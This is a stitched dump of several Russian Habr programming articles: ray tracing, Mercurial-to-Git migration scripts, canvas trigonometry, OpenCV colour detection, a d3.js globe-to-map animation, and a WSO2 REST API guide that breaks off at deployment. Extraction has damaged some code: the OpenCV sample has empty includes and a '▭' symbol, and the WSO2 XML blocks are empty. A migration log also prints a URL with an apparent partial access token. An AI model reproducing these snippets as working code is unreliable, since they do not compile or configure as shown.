На данный момент, если луч не пересекает сцену, то мы ему просто ставим постоянный цвет. А почему, собственно, постоянный? Давайте возьмём сферическую фотографию (файл [envmap.jpg](https://raw.githubusercontent.com/ssloy/tinyraytracer/homework_assignment/envmap.jpg)) и используем её в качестве фона! Для облегчения жизни я слинковал наш проект с библиотекой stb для удобства работы со жпегами. Должен получиться вот такой рендер:
### Задание второе: кря!
Мы умеем рендерить и сферы, и плоскости (см. шахматную доску). Так давайте добавим отрисовку триангулированных моделей! Я написал код, позволяющий читать сетку треугольников, и добавил туда функцию пересечения луч-треугольник. Теперь добавить утёнка нашу сцену должно быть совсем тривиально!
Заключение
==========
Моя основная задача — показать проекты, которые интересно (и легко!) программировать, очень надеюсь, что у меня это получается. Это очень важно, так как я убеждён, что программист должен писать много и со вкусом. Не знаю как вам, но лично меня бухучёт и сапёр, при вполне сравнимой сложности кода, не привлекают совсем.
Двести пятьдесят строчек рейтрейсинга реально написать за несколько часов. [Пятьсот строчек](https://github.com/ssloy/tinyrenderer/wiki) софтверного растеризатора можно осилить за несколько дней. В следующий раз разберём по полочкам [рейкастинг](https://ru.wikipedia.org/wiki/Ray_casting), и заодно я покажу простейшие игры, которые пишут мои студенты-первокурсники в рамках обучения программированию на С++. Stay tuned! | https://habr.com/ru/post/436790/ | null | ru | null |
# Корзинка с сюрпризами — cпасите наши push'и
TLDR: Сделал [набор скриптов](https://github.com/lebedevsergey/BitbucketMercurialMigration) автоматизации миграции Bitbucket репозиториев с Mercurial на Git.
В один непрекрасный день мой любимый хостинг репозиториев Bitbucket [объявил](https://bitbucket.org/blog/sunsetting-mercurial-support-in-bitbucket) о скором прекращении поддержки репозиториев Mercurial в пользу Git, после чего все Mercurial репозитории будут удалены.
На Bitbucket у меня много приватных репозиториев Mercurial, терять их не хотелось, так же, как и их историю коммитов. Переезжать на другой хостинг — также не вариант — к Bitbucket я привык. Сами Bitbucket, как ни странно, не сподобились сделать in-place конвертор. Они даже не написали никакой пошаговой инструкции по конвертированию, отсылая всех на [форум своего коммьюнити](https://community.atlassian.com/t5/Bitbucket-articles/What-to-do-with-your-Mercurial-repos-when-Bitbucket-sunsets/ba-p/1155380) — с довольно таки иезуитской формулировкой (We are happy to support your migration, and you can find a discussion about available options in our dedicated Community thread) — мол, мы рады переезду ваших репозиториев под Git, а как это сделать — обсудите сами на форуме. Впрочем, в том же посте они оставили ссылки на пару конвертеров [hg-fast-export](https://github.com/frej/fast-export) и [hg-git](https://hg-git.github.io/).
Первый из них — отдельный скрипт на Python, второй — плагин, для работы с Git репозиториями непосредственно из Mercurial. В Google нашлось также некоторое количество примеров того, как другие решали задачу перетаскивания Mercurial под Git: [вот](https://git-scm.com/book/en/v2/Git-and-Other-Systems-Migrating-to-Git), [вот](https://hackernoon.com/migrating-140-000-commits-from-mercurial-to-git-5cf46f134261), и [вот](https://markheath.net/post/how-to-convert-mercurial-repository-to). В них также использовался либо hg-fast-export, либо hg-git. Второй был для меня уже проверенным решением — hg-git я раньше иногда пользовался, когда коммитил на Github из Mercurial — пока не понял, что в Git, как это ни странно, лучше все таки коммитить из Git же. Так что для своих целей я выбрал hg-git.
[Тут](https://markheath.net/post/how-to-convert-mercurial-repository-to) приведен Powershell-скрипт для автоматизации миграции репозитория, который и стал отправной точкой моего решения, но для Linux мне пришлось переписать его на Bash. Кроме того, оригинальный скрипт только делает миграцию в локальный Git-репозиторий, и я добавил туда возможность запушивания содержимого сконвертированного Git-репозитория в репозиторий на Bitbucket. Вот как выглядит работа полученного скрипта:
```
$ ./convert_repo.sh lebedevsergey advertisements_parser
2a51eee7ade0
requesting all changes
adding changesets
adding manifests
adding file changes
added 1 changesets with 5 changes to 5 files
updating to branch default
5 files updated, 0 files merged, 0 files removed, 0 files unresolved
Initialized empty Git repository in /home/serge/project/_probes/hg2git/src/advertisements_parser-git/
pushing to ../advertisements_parser-git
searching for changes
adding objects
added 1 commits with 2 trees and 5 blobs
error: Could not remove config section 'remote.origin'
Branch master set up to track
```
Теперь у меня было готовое решение, но оно требовало ручных действий — перед его запуском надо было предварительно создать на Bitbucket Git-репозиторий, чтобы было куда пушить результат. Поглядев на свои 100500 подлежащих конверсии репозиториев, я понял, что так я долго буду их обрабатывать, хотелось бы чтобы скрипт сам создавал Git репозитории для сконвертированных, а еще лучше — сам получал список моих Mercurial репозиториев и работал по нему. Это явно выходило за рамки умения чистого Mercurial, тут требовался функционал самого Bitbucket, а точнее — [Bitbucket API](https://developer.atlassian.com/bitbucket/api/2/reference/).
Для работы с Bitbucket API есть готовые библиотеки для разных языков программирования, в частности, для Python — по-видимому официальный [SDK](https://github.com/atlassian-api/atlassian-python-api) (не путать с лежащим на самом Bitbucket давно заброшенным, но когда-то не менее официальным [SDK](https://bitbucket.org/atlassian/python-bitbucket)). Есть также Bitbucket API клиенты для [Java](https://vx68k.bitbucket.io/bitbucket-api-client.java/), [NodeJS](https://github.com/MunifTanjim/node-bitbucket) и [PHP](https://github.com/BitbucketAPI/Client). Последний я и выбрал.
Однако, при его детальном изучении оказалось, что там не реализовано получение списка репозиториев пользователя и создание нового репозитория. К счастью, создатели библиотеки предусмотрели возможность расширения своих классов, сделав закрытые методы protected, так что, унаследовав класс их API-клиента, можно было добавить свои методы, делающие то что мне нужно:
```
class ExtendedClient extends Client
{
/**
* @return \Bitbucket\Api\Repositories
*/
public function repositories()
{
return new ExtendedRepositories($this->getHttpClient());
}
}
class ExtendedRepositories extends Repositories
{
public function listWorkspace(string $workspaceName, array $params = [])
{
$path = $this->buildRepositoriesPath($workspaceName);
return $this->get($path, $params);
}
public function create(string $workspaceName, string $repoName, array $params = [])
{
$path = $this->buildRepositoriesPath($workspaceName, $repoName);
return $this->post($path, $params);
}
}
```
После чего, я написал пару PHP-скриптов и еще один Bash-скрипт для их запуска, и через час уже мог любоваться на вкалывающий вместо меня компьютер:
```
Checking repository: mysett
Trying to create Git repository: git_mysett
Created Git repository: git_mysett
20abecfb36fe
applying clone bundle from https://api.media.atlassian.com/file/4d5980dc-148f-400c-97f7-8067506778a5/binary?client=403e8d2f-6661-452a-8307-5c68f82c1a13&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3MiOnsidXJuOmZpbGVzdG9yZTpmaWxE2bUg7aRIzuKbjwOn5SF8IbGEVs33WHDVb-JYto
adding changesets
adding manifests
adding file changes
added 27 changesets with 56 changes to 41 files
finished applying clone bundle
searching for changes
no changes found
updating to branch default
35 files updated, 0 files merged, 0 files removed, 0 files unresolved
Initialized empty Git repository in /home/serge/project/hg2git/src/mysett-git/
pushing to ../mysett-git
searching for changes
adding objects
added 27 commits with 82 trees and 50 blobs
error: Could not remove config section 'remote.origin'
Counting objects: 159, done.
Delta compression using up to 12 threads.
Compressing objects: 100% (133/133), done.
Writing objects: 100% (159/159), 12.95 MiB | 7.95 MiB/s, done.
Total 159 (delta 0), reused 159 (delta 0)
To git@bitbucket.org:lebedevsergey/git_mysett.git
* [new branch] master -> master
Branch master set up to track remote branch master from origin.
Checking repository: jazzz
Trying to create Git repository: git_jazzz
```
В итоге, конверсия заняла около часа работы, после чего я сейчас в фоновом режиме просматриваю сконвертированные Git-репозитории, чтобы убедиться в том, что ничего не потерялось. И только после этого руками удаляю оригинальные Mercurial-репозитории. Конечно, ничто не мешает добавить в скрипт удаление с Bitbucket Mercurial-репозитория после конверсии, но на мой взгляд, тут как раз тот случай, когда излишняя автоматизация может повредить.
Готовый набор скриптов автоматизации миграции репозиториев находится [тут](https://github.com/lebedevsergey/BitbucketMercurialMigration)
**P.S.:** Пользуясь случаем, подниму риторический вопрос — почему Git, работающий временами с довольно таки неочевидной логикой, настолько популярнее гораздо более логичного Mercurial, в котором просто коммитишь, создаешь ветки, и, если что-то пошло не так, — откатываешь коммиты, не думая о том, что находится под капотом системы контроля версий, и об указателе на Head, а просто делая то, что нужно? На мой взгляд, это несправедливо, ведь очевидное лучше неочевидного, и очень печально, что поддержку Mercurial прекращает Bitbucket — один из столпов сопротивления мейнстриму в системах контроля версий. | https://habr.com/ru/post/488038/ | null | ru | null |
# Чудеса тригонометрии с использованием canvas
Давно хотел начать изучение HTML5 canvas, и наконец решительно за него взялся. Первое что я решил попробовать это отображение различных фигур с помощью стандартных линий в «псевдо 3D». Когда-то давно я подсмотрел очень интересный способ в плагине к winamp'у и решил реализовать его самостоятельно. В 2002 году я это сделал на C++, ну а теперь пришло время для переноса этого чуда на HTML и JavaScript.
Я решил сразу использовать оболочку [jCanvasScript](http://jcscript.com/) для более простого использования функций связанных с Canvas, и [explorercanvas](http://code.google.com/p/explorercanvas/) для поддержки результата в IE8.
Сюрпризы начались практически с самого начала. Я хотел, чтобы холст был растянут на весь экран (точнее на все окно браузера), но т.к. размеры canvas задаются только в пикселях пришлось хитрить уже начиная со вставки тега canvas. Строго говоря размеры в процентах задать можно, но тогда изображение внутри будет растянуто. Вот что пришлось сделать примерно так:
```
$(window).load(function(){
$("").attr({
'width': $('body').width(),
'height': $('body').height(),
'id': idCanvas
}).appendTo("body");
});
```
Начал я со спирали, которая вращается в разных плоскостях. Т.к. я это делал ранее на C++, то я взял «заготовки» и перевел их логику на JavaScript. Для того чтобы отобразить график какой-либо функции необходимо ввести функцию которая вычисляет координаты X и Y каждой точки. Чтобы отобразить вращение нужна функция которая с каждым кадром меняет переменные от которых зависят углы наклона в плоскостях.
Код инициализации:
```
var settings = {
n : 500, // num of points
tx: 0, ty: 0, tz: 0,
x1: 0, y1: 0, z1: 0,
dtx: 1, dty: 1, dtz: 1,
dx: 2, dy: 2, dz: 2,
clCol: 9, dir: 1
}
```
Код, выполняемый от кадра к кадру:
```
tx += 0.01*dtx;
ty += 0.01*dty;
tz += 0.01*dtz;
```
Код, выполняемый в каждом кадре:
```
x1 = cos(tx+dx*i*PI)*i;
y1 = sin(ty-dy*i*PI)*i;
z1 = sin(tz-dz*i*PI)*i;
x = x1/(2+z1/2);
y = y1/(2+z1/2);
```
Переменная i изменяется от 0 до n. Переменные x и y изменятся от 0 до 1 — это удобно для перевода в координаты экрана в зависимости от его ширины и высоты.
Написав один HTML-файл со спиралью, я решил поэкспериментировать с другими фигурами, а т.к. плодить по одному файлу под каждую фигуру не удобно я создал HTML-файл со встроенным редактором кусков кода (Инициализации, Кадра, Точки и перемешивание переменных) Последнее иногда позволяет изобразить такие причудливые фигуры, которые сам не догадался сделать. Куски кода вставляются с помощью eval и с расширенной областью видимости, что позволяет использовать тригонометрические функции без написания названия объекта Math.
Ну а когда был создан редактор конечно возникла потребность сохранять и загружать сделанное. Посмотреть в действии можно [тут](http://pavelblog.com/canvas_console/). Думаю это будет полезно для изучения поведения тригонометрических функций.
Для подсветки кода использован [CodeMirror](http://codemirror.net/) | https://habr.com/ru/post/142720/ | null | ru | null |
# Простое обнаружение объектов по цвету
Доброго времени суток.
В этом коротком посте хотел показать простой способ поиска объектов по цвету с [OpenCV](https://ru.wikipedia.org/wiki/OpenCV).
Для экспериментов использовал камеру Logitech WebCam C270
**Итак начнем**
Подключаем всё нужное
```
#include
#include
#include // Для функции exit()
using namespace cv;
using std::cout;
using std::endl;
```
Объявляем переменные
```
char mainWindow[] = "Main";
char trackbarWindow[] = "Trackbar";
char thresholdWindow[] = "Threshold";
int min = 0, max = 1000;
int hmin = 0, smin = 0, vmin = 0,
hmax = 255, smax = 255, vmax = 255;
Mat frame, HSV, threshold, blurred;
VideoCapture capture;
```
Создаем трэкбар для регулирования цвета
```
createTrackbar("H min:", trackbarWindow, &hmin, hmax);
createTrackbar("H max:", trackbarWindow, &hmax, hmax);
createTrackbar("S min:", trackbarWindow, &smin, smax);
createTrackbar("S max:", trackbarWindow, &smax, smax);
createTrackbar("V min:", trackbarWindow, &vmin, vmax);
createTrackbar("V max:", trackbarWindow, &vmax, vmax);
createTrackbar("Size min:", trackbarWindow, &min, max);
createTrackbar("Size max:", trackbarWindow, &max, max);
```
Открываем камеру
```
capture.open(1);
if(!capture.isOpened()){
cout << "Камера не может быть открыта." << endl;
exit(1);
}
```
Запускаем цикл обработки камеры
```
for(;;){
capture >> frame;
cvtColor(frame, HSV, COLOR_BGR2HSV);
medianBlur(HSV, blurred, 21);
inRange(blurred, Scalar(hmin, smin, vmin), Scalar(hmax, smax, vmax), threshold);
for(int y = 0; y < threshold.rows; y++){
for(int x = 0; x < threshold.cols; x++){
int value = threshold.at(y, x);
if(value == 255){
Rect rect;
int count = floodFill(threshold, Point(x, y), Scalar(200), ▭);
if(rect.width >= min && rect.width <= max
&& rect.height >= min && rect.height <= max){
rectangle(frame, rect, Scalar(255, 0, 255, 4));
}
}
}
}
imshow(mainWindow, frame);
imshow(thresholdWindow, threshold);
if(waitKey(33) == 27) break;
}
```
В этом цикле сначала преобразуем кадр из RGB в HSV. После чего делаем размытие и вызываем функцию поиска цвета. Функция inRange() делает поиск по принципу «от и до», т.е. от какого до какого цвета ей выделять пиксели. Дальше обрабатываю каждый пиксель кадра, если пиксель белого цвета, заливаем его серым. Ну и функцией rectangle() выделяем объект, просто рисуя прямоугольник вокруг выделенной области.
Вот пример поиска лимона:
**Полный исходный код**
```
#include
#include
#include
using namespace cv;
using std::cout;
using std::endl;
int main(int argc, char \*\*argv){
char mainWindow[] = "Main";
char trackbarWindow[] = "Trackbar";
char thresholdWindow[] = "Threshold";
int min = 0, max = 1000;
int hmin = 0, smin = 0, vmin = 0,
hmax = 255, smax = 255, vmax = 255;
Mat frame, HSV, threshold, blurred;
VideoCapture capture;
//Создаем окна
namedWindow(mainWindow, 0);
namedWindow(trackbarWindow, 0);
namedWindow(thresholdWindow, 0);
//Создаем трэкбар
createTrackbar("H min:", trackbarWindow, &hmin, hmax);
createTrackbar("H max:", trackbarWindow, &hmax, hmax);
createTrackbar("S min:", trackbarWindow, &smin, smax);
createTrackbar("S max:", trackbarWindow, &smax, smax);
createTrackbar("V min:", trackbarWindow, &vmin, vmax);
createTrackbar("V max:", trackbarWindow, &vmax, vmax);
createTrackbar("Size min:", trackbarWindow, &min, max);
createTrackbar("Size max:", trackbarWindow, &max, max);
//Открываем камеру
capture.open(1);
if(!capture.isOpened()){
cout << "Камера не может быть открыта." << endl;
exit(1);
}
//Запускаем цикл чтения с камеры
for(;;){
capture >> frame;
cvtColor(frame, HSV, COLOR\_BGR2HSV);
medianBlur(HSV, blurred, 21);
inRange(blurred, Scalar(hmin, smin, vmin), Scalar(hmax, smax, vmax), threshold);
for(int y = 0; y < threshold.rows; y++){
for(int x = 0; x < threshold.cols; x++){
int value = threshold.at(y, x);
if(value == 255){
Rect rect;
int count = floodFill(threshold, Point(x, y), Scalar(200), ▭);
if(rect.width >= min && rect.width <= max
&& rect.height >= min && rect.height <= max){
rectangle(frame, rect, Scalar(255, 0, 255, 4));
}
}
}
}
imshow(mainWindow, frame);
imshow(thresholdWindow, threshold);
if(waitKey(33) == 27) break;
}
return 0;
}
``` | https://habr.com/ru/post/245139/ | null | ru | null |
# Анимация перехода от глобуса к двумерной карте
Хочу поделиться с хабром своим картографическим экспериментом, а именно анимацией перехода от [Ортографической](https://en.wikipedia.org/wiki/Orthographic_projection_(cartography) "Orthographic projection") проекции (глобус) к [Равнопромежуточной](https://en.wikipedia.org/wiki/Equirectangular_projection "Equirectangular projection") (одна из проекций обычных двумерных карт). Также этот способ подойдёт и для любых других проекций. Результатом экспериментов стала вот такая анимация:
Как и прежде будем использовать библиотеку [d3.js](http://d3js.org "d3.js"), как и прежде сделаем несколько реализаций: SVG и Canvas. Оба варианта можно будет эффектно использовать для интерактивной инфографики. Ну что, начнём?
#### Начало
Увидел я как-то по телевизору рекламу (вроде Газпрома), там как раз глобус крутится и потом разворачивается в карту. Красивый мультик, мне понравилось, ну я и решил сделать нечто похожее, только интерактивное и для интернета. **Challenge accepted**.
#### От простого к сложному
Поскольку с картами мы уже работали ([Интерактивная SVG картограмма с помощью d3.js](http://habrahabr.ru/post/181766/ "Интерактивная SVG картограмма")), да и с глобусом тоже ([Интерактивный глобус — SVG versus Canvas](http://habrahabr.ru/post/186532/ "Интерактивный глобус — SVG vs Canvas")), то начнём сразу с реализации перехода от одной проекции к другой. Первое же, что приходит на ум — отдать всё на откуп библиотеке, ведь там уже реализована анимация переходов: [transitions](https://github.com/mbostock/d3/wiki/Transitions "D3.js transitions"). Так я и сделал. Полный код первого примера можно посмотреть на **GitHub**: [Globe to Map](https://gist.github.com/KoGor/7023703 "Globe to Map"), пощупать на **bl.ocks.org**: [Globe to Map](http://bl.ocks.org/KoGor/7023703 "Globe to Map"). Да, если на **bl.ocks.org** щёлкнуть по номеру блока в левом верхнем углу, то вы перейдёте к соответствующему gist'у на **GitHub**, поэтому в дальнейшем буду давать только одну ссылку.
Итак, что есть что: `focused` — индикатор фокусировки на страну, `ortho` — индикатор проекции, `speed` — скорость вращения, `start` — начало вращения, `corr` — переменная для сохранения фазы поворота.
Функция `endall(transition, callback)` считает количество элементов, к которым будет применяться переход (анимация), и, когда всё будет закончено, выполняет скормленную ей функцию (`callback`). В принципе, может быть заменена с помощью `SetTimeout`, но лучше всё же использовать `endall(transition, callback)`.
```
//Starter for function AFTER All transitions
function endall(transition, callback) {
var n = 0;
transition
.each(function() { ++n; })
.each("end", function() { if (!--n) callback.apply(this, arguments); });
}
```
Вращение реализовано с помощью [d3.timer](https://github.com/mbostock/d3/wiki/Transitions#wiki-d3_timer "d3.timer description") и применяется только к `path` с классом `ortho`.
```
//Globe rotating via timer
d3.timer(function() {
var λ = speed * (Date.now() - start),
φ = -5;
projection.rotate([λ + corr, φ]);
g.selectAll(".ortho").attr("d", path);
});
```
Переменная `corr` позволяет нам вернуться к тому же углу поворота глобуса, который был до смены проекции. С долготой `λ` и широтой `φ` поможет разобраться следующая картинка из вики-статьи [Географические координаты](https://ru.wikipedia.org/wiki/Географические_координаты "Географические координаты"):
Анимация перехода от глобуса к карте:
```
//Transforming Globe to Map
if (ortho === true) {
corr = projection.rotate()[0]; // <- save last rotation angle
g.selectAll(".ortho").classed("ortho", ortho = false);
projection = projectionMap;
path.projection(projection);
g.selectAll("path").transition().duration(3000).attr("d", path);
}
```
Здесь мы сохраняем текущий угол поворота, затем останавливаем вращение, убрав класс `ortho`, меняем проекцию и включаем встроенную анимацию переходов.
Обратный переход отличается добавлением класса `ortho` для всех `path` по окончании перехода и сбросом угла поворота глобуса (таймер то тикал всё это время).
```
//Transforming Map to Globe
projection = projectionGlobe;
path.projection(projection);
g.selectAll("path").transition()
.duration(3000).attr("d", path)
.call(endall, function() {
g.selectAll("path").classed("ortho", ortho = true);
start = Date.now(); // <- reset start for rotation
});
```
Остальная часть кода вопросов, по идее, вызывать не должна, особенно если вы читали предыдущие мои статьи.
Если вы поигрались некоторое время с первым примером, то должны были заметить, что карта каждый раз выглядит по-разному. Это связано с тем, что мы инициируем переход при различных углах поворота глобуса (`λ`), поэтому карта разрезается по разным значениям долготы (меридианам). Чтобы получить привычный вид карты (разрез по антимеридиану), нам необходимо перед переходом довернуть глобус до нулевого меридиана. Также вместо доворота можно менять параметры проекции двумерной карты, но я выбрал первый вариант. Во втором примере реализовано разрезание по антимеридиану, а глобус вращается мышкой (drag event). За доворот отвечает функция `defaultRotate()`:
```
//Rotate to default before animation
function defaultRotate() {
d3.transition()
.duration(1500)
.tween("rotate", function() {
var r = d3.interpolate(projection.rotate(), [0, 0]);
return function(t) {
projection.rotate(r(t));
g.selectAll("path").attr("d", path);
};
})
};
```
Подобную функцию я уже описывал в статье [Интерактивный глобус — SVG versus Canvas](http://habrahabr.ru/post/186532/ "Интерактивный глобус — SVG vs Canvas"), так что не буду повторяться. Код второго примера на **bl.ocks.org**: [Globe to Map II](http://bl.ocks.org/KoGor/7024546 "Globe to Map II").
Пора усложнять анимацию, метаморфозы первых двух примеров выглядят прикольно и имеют право на существование, но хочется чего-то более эстетичного.
#### Если красота спасёт мир, то почему она постоянно требует каких-то жертв? ©
Под жертвами в данном случае имеется ввиду усложнение кода. Итак, чтобы переход от одной проекции к другой проходил не «тупо» по кратчайшему пути, а красиво, нам необходимо создать собственную интерполяцию проекций. Мне повезло, я нашёл подходящий пример у Mike'а: [Orthographic to Equirectangular](http://bl.ocks.org/mbostock/5731632 "Orthographic projection transition to Equirectangular projection"). С минимальными доработками его можно использовать для переходов в обе стороны, как раз то что нам нужно. Вот собственно его доработанная реализация:
```
//Unreelling transformation
function animation(interProj) {
defaultRotate();
g.transition()
.duration(7500)
.tween("projection", function() {
return function(_) {
interProj.alpha(_);
g.selectAll("path").attr("d", path);
};
})
}
function interpolatedProjection(a, b) {
var projection = d3.geo.projection(raw).scale(1),
center = projection.center,
translate = projection.translate,
clip = projection.clipAngle,
α;
function raw(λ, φ) {
var pa = a([λ *= 180 / Math.PI, φ *= 180 / Math.PI]), pb = b([λ, φ]);
return [(1 - α) * pa[0] + α * pb[0], (α - 1) * pa[1] - α * pb[1]];
}
projection.alpha = function(_) {
if (!arguments.length) return α;
α = +_;
var ca = a.center(), cb = b.center(),
ta = a.translate(), tb = b.translate();
center([(1 - α) * ca[0] + α * cb[0], (1 - α) * ca[1] + α * cb[1]]);
translate([(1 - α) * ta[0] + α * tb[0], (1 - α) * ta[1] + α * tb[1]]);
if (ortho === true) {clip(180 - α * 90);}
return projection;
};
delete projection.scale;
delete projection.translate;
delete projection.center;
return projection.alpha(0);
}
```
На первый взгляд выглядит сложно, но на самом деле это не так. Что же тут происходит? Мы скармливаем функции `interpolatedProjection(a, b)` две проекции, они нормируются (один масштаб, координаты в радианах), затем создаётся комбинированная проекция, которая есть попарная сумма параметров (центр, смещение) исходных проекций с коэффициентом `α` (шаг интерполяции). И на каждом шаге нам отдаётся комбинированная проекция, зависящая от `α`. С увеличением шага `α` уменьшается вес первой проекции, и усиливается вес второй. Таким образом, мы получаем красивую анимацию.
Финальная версия на **bl.ocks.org**: [Globe to Map III](http://bl.ocks.org/KoGor/7024936 "Globe to Map III").
В конце я также решил сделать версию с использованием canvas. Эта версия отличается тем, что все функции переехали внутрь `ready(error, world, countryData)`, поскольку должны непосредственно манипулировать геоданными, в остальном логика работы та же. Комментировать особо нечего, так что вот сразу код на **bl.ocks.org**: [Globe to Map IV](http://bl.ocks.org/KoGor/7025316 "Globe to Map IV").
#### Результаты
Мы получили интересную заготовку для интерактивной карты, к которой можно прикрутить любую информацию, или можно зациклить и сделать тот же мультик. Вы также можете сделать вашу визуализацию более навороченной, добавив теней, градиентов и прочих эффектов. Вот несколько примеров подобных свистелок:
* [Faux-3d Shaded Globe](http://bl.ocks.org/dwtkns/4686432)
* [Floating Landmasses](http://bl.ocks.org/mbostock/6738360)
* [See-Through Globe](http://bl.ocks.org/mbostock/6746848)
Ещё можно поверх наших схематичных карт добавить спутниковое фото или даже тайлы, сделав всё более реалистичным, но это тема для отдельной статьи, да и для инфографики вряд ли это уместно.
На этом наш эксперимент заканчивается. Спасибо тем, кто дочитал до конца. Всем удачи и интересных проектов. | https://habr.com/ru/post/198300/ | null | ru | null |
# Разработка REST API-сервиса на платформе WSO2
В [прошлой статье](https://habr.com/ru/company/rosbank/blog/578468/) мы рассказывали, как у нас в банке работает платформа WSO2. Мы предоставляем ее как сервис, как интеграционный слой, следим за его стабильностью, а разработкой на платформе занимаются уже команды из подразделений. Они работают на разных языках — Java, C# и т.д. — и обращаются к нам по необходимости за консультациями, потому что это не их основной стек разработки. Проанализировав обращения, мы решили сделать несколько инструкций по разработке на WSO2, которые охватили 80% всех вопросов, что приходят от команд. Теперь хотим поделиться наработками со всеми и начнем с разработки REST API-сервиса на WSO2. Бонус для самых терпеливых — в конце поста.
Общая схема взаимодействия между архитектурными слоямиДля разработки на WSO2 нам потребуется:
* WSO2 Integration Studio — среда разработки. На момент написания статьи актуальна версия 8.0.0, рекомендую обновиться до нее, поскольку в ней исправлено много ошибок прошлых версий. Также советую поставить все апдейты версии через Help -> Check Updates;
* Oracle Java JDK 1.8;
* Apache Maven;
* Git + опционально Fork или Source Tree (графическая IDE);
* Docker;
* WSO2 Microintegrator;
* Postman, JMeter, SoapUI (хотя можно обойтись curl и консолью, если удобно).
Итак, запускаем WSO2 Integration Studio. Создаем новый проект (File – New – Integration Project), указываем название проекта и выбираем необходимые модули.
Чуть подробней о модулях. Модули **ESBConfig** и **Composite Exporter** должны быть выбраны всегда, так как это основные компоненты. **Registry Resources** необходим, когда требуется хранить в проекте файлы WSDL/XSD/Swagger/OpenAPI и др. В принципе эти три модуля *обязательны* для создания REST API-сервиса.
Connector Exporter нужен, когда требуется интегрироваться с одним из внешних API, которые доступны как библиотеки (список коннекторов можно найти на [сайте WSO2](http://store.wso2.com/store/assets/esbconnector/list)). Также опциональны Docker и Kubernetes, их функция понятна из названия.
Теперь указываем параметры проекта и заканчиваем предварительную настройку:
Добавляем в каждый из отмеченных ниже каталогов пустой файл с именем ".gitkeep". Это необходимо, чтобы Git добавил их все в контроль версий, несмотря на то что они пустые.
### Создаем обработчики
Далее создаем обработчики для входящих запросов и ошибок. Выберите нужную папку и в контекстном меню нажмите New Sequence.
Создадим обработчик FaultSequence, который будет перехватывать исключения, по аналогии с tryCatch в языках программирования. Платформа должна обрабатывать и логировать все ошибки, а также отдавать клиенту соответствующие сообщения. В противном случае он будет отваливаться по таймауту.
Вот пример кода FaultSequence обработчика:
```
{"errorCode": "$1", "errorMessage": "$2"}
```
Далее создаем inbound-обработчик, который будет обрабатывать входящие запросы — например, выставлять параметры property, environment. В параметре ENV\_SERVICE\_NAME **важно** указать название сервиса, оно же будет использоваться в LoggerService для записи логов в отдельный файл. А в параметре onError добавить ссылку на ранее созданный обработчик ошибок, в нашем случае MOEX\_FaultSequence.
LoggerService — это плагин нашей собственной разработки, его мы используем вместо стандартного плагина, который не подходит под наши требования. Вместо ClassMediator можно использовать стандартный LogMediator.
Пример InboundSequence обработчика:
```
```
Теперь нам нужен обработчик, который будет заносить в лог факт обработки запроса. Можно добавить здесь и другие возможности, но для примера мы ограничимся только логированием. Здесь также важно в параметре "onError" указать ссылку на ранее созданный обработчик ошибок, onError="MOEX\_FaultSequence", чтобы ошибки OutboundSequence обработчика не потерялись.
Пример OutboundSequence обработчика:
```
```
### Создаем шаблоны
Поскольку мы будем создавать несколько API, шаблоны сильно упростят нам жизнь, избавив от лишней копипасты. Для начала — шаблон для вызова внешнего сервиса:
Выбираем тип шаблона **Sequence Template**:
Пример шаблона вызова:
```
```
В этом шаблоне предусмотрена проверка наличия конфигурационного файла (property), откуда мы берем значение версии микроинтегратора WSO2. Если файла нет, значение берется из environment. В конце мы логируем запрос и вызываем веб-сервис.
### Создаем endpoint для вызова внешних сервисов
Через контекстное меню выбираем New Endpoint в соответствующей папке:
В списке предлагается много вариантов, нас интересует HTTP Endpoint:
Хорошее правило — делать столько endpoint, сколько методов у вас в REST-сервисе. Конечно, будет работать и с одним, но если он начнет тормозить, это повлияет на всё. Разные методы имеют разную частоту запросов, и если при работе через один endpoint свободные соединения забьются из-за медлительности какого-то метода, то остальные методы тоже начнут тормозить. Больше endpoint — больше гибкости в настройке системы.
Пример реализации endpoint:
```
30000
fault
101500,101501,101506,101507,101508
1000
2.0
60000
101503,101504,101505
3
100
```
Здесь важно указать метод http, шаблон адреса, на который будет отправляться запрос (та же переменная, что сформирована в шаблоне вызова). В зависимости от требований системы вы определяете таймаут и прописываете, при каких ошибках делать повторные запросы и при каких условиях помечать endpoint как недоступный. Так реализуется паттерн circuit breaker, или предохранитель.
После создания endpoint с методом get нужно создать аналогичный, но уже с методом post, put, patch, delete или другим, в зависимости от требований к сервису.
### Создаем API
Подготовительная работа завершена, время создавать сам API. Выбираем New REST API и получаем несколько вариантов: создать API с нуля, генерировать через Swagger или импортировать. Для начала рассмотрим первый вариант:
Указываем параметры:
**Name**: MOEXService\_API
**Context**: /moex/v{version} — сразу указываем версионирование сервиса, при отсутствии обратной совместимости это необходимо. Букву «v» добавляем для единообразия, так советует вендор.
**Version**: 1.0 или актуальная для вас
Вот пример API:
```
```
Здесь мы вызываем обработчик входящего запроса, выставляем параметры environment и логирования, логируем запрос, вызываем бэкенд через ранее созданный шаблон, затем указываем endpoint и адрес, на который отправить запрос. Все параметры вы задаете в зависимости от своего проекта.
В нашем случае мы также проверяем успех запроса. Фильтруем статус ответа, если пришел ответ "200", то все хорошо и мы логируем ожидаемый JSON, если нет, логируем все тело запроса в виде бинарных данных.
Несколько важных моментов:
* Каждый тег описывает один REST-метод.
* Атрибут url-mapping содержит относительный URI, по которому клиент будет обращаться к WSO2 .
* В параметре SetEndpointURL указывается название переменной для вытягивания URI конечного сервиса из конфигурации.
* В параметре SetEndpointURL\_Suffix указывается путь к методу относительно URI конечного сервиса.
* У нас нет значения переменной, куда отправить запрос, и это нормально, потому что конфигурацию мы выносим отдельно от кода. WSO2 поддерживает отдельные файлы конфигурации, где мы пропишем нужный адрес.
Конфигурационные параметры сервиса можно хранить в EnvironmentVariables или в специальном конфигурационном файле. Мы используем конфигурационный файл file.properties. Пример конфигурации для нашего сервиса:
```
# Адрес сервисов MOEX
webServiceURL_MOEX_Authenticate=https://passport-test.moex.com/authenticate
webServiceURL_MOEX_GetToken=https://play-api.moex.com/auth/oauth/v2/token
webServiceURL_MOEX_API=https://play-api.moex.com/client/v1/applications
```
Другой способ создания API — через Swagger (“Generate API using Swagger definition”). Здесь мы указываем путь к swagger-файлу и затем к модулю, который будет его хранить. В этом случае все методы подтянутся автоматически, но все равно нужно будет их настроить. Хорошая практика — указывать в API ссылку на swagger-файл, чтобы через get-запрос клиенты могли получать спецификацию напрямую из сервиса.
### Деплоим сервис
